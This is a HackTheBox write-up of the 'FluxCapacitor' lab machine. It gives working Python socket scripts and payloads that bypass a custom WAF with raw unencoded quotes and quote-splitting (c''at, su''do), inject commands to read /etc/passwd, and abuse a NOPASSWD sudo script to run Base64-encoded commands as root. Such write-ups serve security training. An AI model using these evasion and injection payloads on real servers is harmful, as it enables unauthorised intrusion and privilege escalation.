HTB: FluxCapacitor Writeup
FluxCapacitor - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | FluxCapacitor |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.1.87 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐☆☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
FluxCapacitor is a Medium-difficulty Linux machine that demonstrates the challenges of exploiting command injection vulnerabilities protected by a Web Application Firewall (WAF). The machine presents only a single HTTP service running OpenResty 1.13.6.1 with a custom “SuperWAF” that filters common injection payloads. The initial foothold requires discovering a hidden parameter through fuzzing, then carefully crafting raw HTTP requests that bypass WAF regex patterns while maintaining valid command injection syntax. Privilege escalation is trivial once shell access is obtained, as a NOPASSWD sudo entry allows direct execution of arbitrary commands as root.
TL;DR: Parameter fuzzing → WAF bypass via raw socket injection (unencoded quotes + quote-splitting) → command injection → sudo NOPASSWD script → root
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.129.1.87Results:
Only port 80/tcp was open, running OpenResty 1.13.6.1. The HTTP response headers revealed a custom Server: SuperWAF header, indicating the presence of a web application firewall.
Service Enumeration
HTTP Service Analysis
Initial requests to the web server using a Firefox user-agent returned 403 Forbidden errors. Testing revealed that any User-Agent header containing the string “Mozilla” was blocked by the WAF.
# Request without Mozilla in UA succeedscurl http://10.129.1.87/
# Testing the /sync endpointcurl http://10.129.1.87/sync# Returns: timestamp (e.g., "1621845320")The /sync endpoint returned a Unix timestamp, suggesting some backend processing was occurring.
Parameter Fuzzing
Using a parameter wordlist to fuzz the /sync endpoint:
# Fuzzing for valid parameterswfuzz -c -z file,burp-parameter-names.txt \ --hh=19 http://10.129.1.87/sync?FUZZ=testThe parameter opt was discovered, which changed the response behavior and returned a 403 Forbidden error with certain inputs, indicating it was being processed differently by the WAF.
Vulnerability Assessment
- Command Injection: The
optparameter appeared to be passed to a backend command execution function - WAF Protection: A custom WAF filtered various characters and patterns commonly used in command injection
- User-Agent Filtering: Requests with “Mozilla” in the User-Agent were blocked
- Sudo Misconfiguration: Later discovered NOPASSWD sudo entry for a monitoring script
Initial Foothold
Understanding the Injection Point
Based on the server’s behavior and response patterns, the backend code was executing something similar to:
-- OpenResty/Lua pseudo-codeopt = ngx.var.arg_optcmd = "/home/themiddle/checksync " .. optio.popen("CMD='" .. cmd .. "'; bash -c ${CMD} 2>&1")This meant the opt parameter was being passed to a shell command, creating a command injection vulnerability if the WAF could be bypassed.
The WAF Challenge
The “SuperWAF” implemented multiple filtering layers:
- URL-decoding sanitization: The re-released version of this box sanitizes URL-encoded input, neutralizing the common
%27(encoded single-quote) bypass technique - String length filters: Strings longer than 2 characters in certain positions triggered 403 errors
- Metacharacter blocking: Common injection characters were filtered
- Command word blacklist: Common Linux commands were blocked
Bypass Technique Discovery
After extensive testing, the successful bypass strategy involved:
1. Raw, unencoded special characters via Python socket
The key insight was that sending raw unencoded single quotes and spaces directly in the HTTP request line bypassed the WAF’s regex patterns while nginx/OpenResty still correctly parsed the opt parameter:
#!/usr/bin/env python3import socket
# Craft raw HTTP request with unencoded special characters# The single quote ' breaks out of the command string contextpayload = "' { /usr/bin/cat /etc/passwd }"
request = f"GET /sync?opt={payload} HTTP/1.1\r\n"request += "Host: 10.129.1.87\r\n"request += "User-Agent: Custom\r\n" # Avoid "Mozilla"request += "Connection: close\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("10.129.1.87", 80))s.send(request.encode())response = s.recv(4096)print(response.decode())s.close()2. Quote-splitting to bypass command word filters
Even with raw characters, the WAF blocked known command words. The bypass used adjacent empty quotes to split strings:
cat→c''at.monit→.m''onitsudo→su''do
3. Full paths required
The worker process ran with an empty PATH environment variable, requiring full paths to binaries:
/bin/catinstead ofcat/usr/bin/sudoinstead ofsudo
4. Brace-group syntax for output capture
To capture command output in the HTTP response, the payload required the brace-group form:
# This format: opt=' { command }'# Ensures stdout is captured in the responseopt=' { /usr/bin/w''hoami }'Enumeration via Command Injection
With working command injection, I enumerated the system:
# Read /etc/passwdpayload = "' { /bin/c''at /etc/passwd }"
# Check sudo permissionspayload = "' { /usr/bin/su''do -l }"# Output showed: (root) NOPASSWD: /home/themiddle/.monitPrivilege Escalation Discovery
The sudo enumeration revealed:
User nobody may run the following commands on fluxcapacitor: (root) NOPASSWD: /home/themiddle/.monitExamining the .monit script:
# Read the scriptpayload = "' { /bin/c''at /home/themiddle/.m''onit }"The script accepted two arguments:
- First argument must be
cmd - Second argument is a Base64-encoded command that gets executed
Privilege Escalation
Exploiting the NOPASSWD Sudo Entry
The .monit script provides a direct path to root by accepting Base64-encoded commands:
#!/usr/bin/env python3import socketimport base64
# Encode the command to read root flagcommand = "/bin/cat /root/root.txt"b64_command = base64.b64encode(command.encode()).decode()
# Build the injection payload# sudo /home/themiddle/.monit cmd <base64_command>payload = f"' {{ /usr/bin/su''do /home/themiddle/.m''onit cmd {b64_command} }}"
request = f"GET /sync?opt={payload} HTTP/1.1\r\n"request += "Host: 10.129.1.87\r\n"request += "User-Agent: Custom\r\n"request += "Connection: close\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("10.129.1.87", 80))s.send(request.encode())response = s.recv(4096)print(response.decode())s.close()This immediately provided the root flag. The same technique worked for reading the user flag:
# User flagcommand = "/bin/cat /home/themiddle/user.txt"b64_command = base64.b64encode(command.encode()).decode()payload = f"' {{ /usr/bin/su''do /home/themiddle/.m''onit cmd {b64_command} }}"Why This Works
The .monit script decodes the Base64 argument and executes it as root without any input validation:
#!/bin/bash# Simplified logic of .monitif [ "$1" = "cmd" ]; then command=$(echo "$2" | base64 -d) eval "$command" # Executed as root via sudofiThe NOPASSWD configuration means no password is required, and the nobody user can execute this script directly as root.
Attack Chain Summary
Port 80 (OpenResty) → Parameter fuzzing discovers 'opt' →Raw socket HTTP bypasses WAF sanitization →Command injection via unencoded quotes →Enumerate sudo -l → NOPASSWD /home/themiddle/.monit →Base64-encode arbitrary commands → RootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
wfuzz | HTTP parameter fuzzing |
curl | HTTP request testing |
python | Crafting raw socket requests for WAF bypass |
base64 | Encoding commands for .monit script |
Key Learnings
Techniques Practiced
- HTTP parameter fuzzing to discover hidden functionality
- Web Application Firewall (WAF) evasion through raw socket manipulation
- Bypassing input filters using quote-splitting and full paths
- Exploiting NOPASSWD sudo misconfigurations
- Command injection in constrained environments
Lessons Learned
-
URL-encoding is not always a bypass: Modern or updated WAFs may sanitize URL-encoded input before applying regex filters. Testing both encoded and raw character injection is essential.
-
Raw HTTP socket manipulation bypasses application-layer filters: When standard HTTP clients fail, crafting requests at the socket level can slip past WAF patterns that rely on normalized input.
-
Quote-splitting defeats simple string matching: Adjacent empty quotes (
c''at) break up command words while bash removes them during execution, bypassing blacklist filters. -
Environment matters in command injection: An empty
PATHvariable requires using full paths to all binaries (/usr/bin/sudovssudo). -
NOPASSWD sudo entries are instant root: Any script or binary granted NOPASSWD sudo should be treated as a direct privilege escalation vector, especially if it accepts user-controlled input.
-
Brace groups capture stdout: In bash command substitution contexts, wrapping commands in
{ }ensures output is properly captured and returned.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - FluxCapacitor (Document No. D18.100.04) by Alexander Reid (Arrexel)